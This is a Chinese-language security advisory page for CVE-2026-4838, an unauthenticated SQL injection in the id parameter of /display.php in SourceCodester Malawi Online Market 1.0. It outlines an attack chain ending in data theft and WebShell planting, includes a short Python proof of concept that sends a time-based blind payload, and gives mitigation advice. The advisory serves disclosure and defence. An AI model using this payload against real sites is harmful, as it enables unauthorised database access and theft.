IPBUF安全漏洞报告
English
CVE-2026-4838 CVSS 7.3 高危

CVE-2026-4838 SourceCodester Malawi Online Market SQL注入漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-4838
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Malawi Online Market

相关标签

SQL注入SourceCodesterWeb安全CVE-2026-4838远程代码执行

漏洞概述

SourceCodester Malawi Online Market 1.0版本存在严重的SQL注入安全漏洞。该漏洞根因在于/display.php文件中未对用户输入的ID参数进行严格的过滤和校验。攻击者无需任何认证即可通过网络远程发起攻击,构造恶意SQL语句操纵后端数据库,从而造成敏感信息泄露、数据完整性受损及服务中断等后果。

技术细节

该漏洞源于SourceCodester Malawi Online Market 1.0版本中/display.php文件的编码缺陷。具体而言,当后端脚本接收用户提交的“ID”参数并用于生成数据库查询语句时,未实施任何输入验证或参数化查询机制。这导致攻击者能够将恶意的SQL语法注入到查询上下文中。利用方式通常涉及发送包含UNION SELECT或布尔盲注载荷的HTTP请求,以提取数据库结构或数据。由于漏洞点无需身份验证,攻击者可利用自动化工具大规模扫描并利用此漏洞,导致整个数据库陷入被控风险,严重威胁系统安全。

攻击链分析

STEP 1
侦察
攻击者使用扫描工具在互联网上搜索目标系统,识别出使用SourceCodester Malawi Online Market 1.0版本的网站。
STEP 2
漏洞探测
攻击者向/display.php端点发送包含特殊字符(如单引号)的ID参数,观察服务器响应是否出现数据库错误或延迟,确认SQL注入漏洞存在。
STEP 3
漏洞利用
构造恶意的SQL注入Payload(如UNION SELECT语句),通过HTTP请求发送给服务器,绕过前端验证直接执行后端数据库命令。
STEP 4
数据窃取与控制
成功利用漏洞后,攻击者提取数据库中的敏感信息(如管理员密码、用户数据),或进一步写入WebShell获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual target) target_url = "http://target_ip/display.php" # Malicious payload to test SQL Injection # This payload attempts a time-based blind injection to sleep for 5 seconds payload = { "id": "1' AND SLEEP(5)-- -" } try: print("[*] Sending payload to target...") response = requests.get(target_url, params=payload, timeout=10) # Analyze response time to verify vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected via timing analysis.") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

SourceCodester Malawi Online Market 1.0

防御指南

临时缓解措施
建议立即部署Web应用防火墙(WAF)以拦截针对ID参数的常见SQL注入攻击模式。同时,应限制对/display.php文件的公网访问权限,或在代码层面对ID参数强制进行整数转换处理,以暂时缓解风险直到正式补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表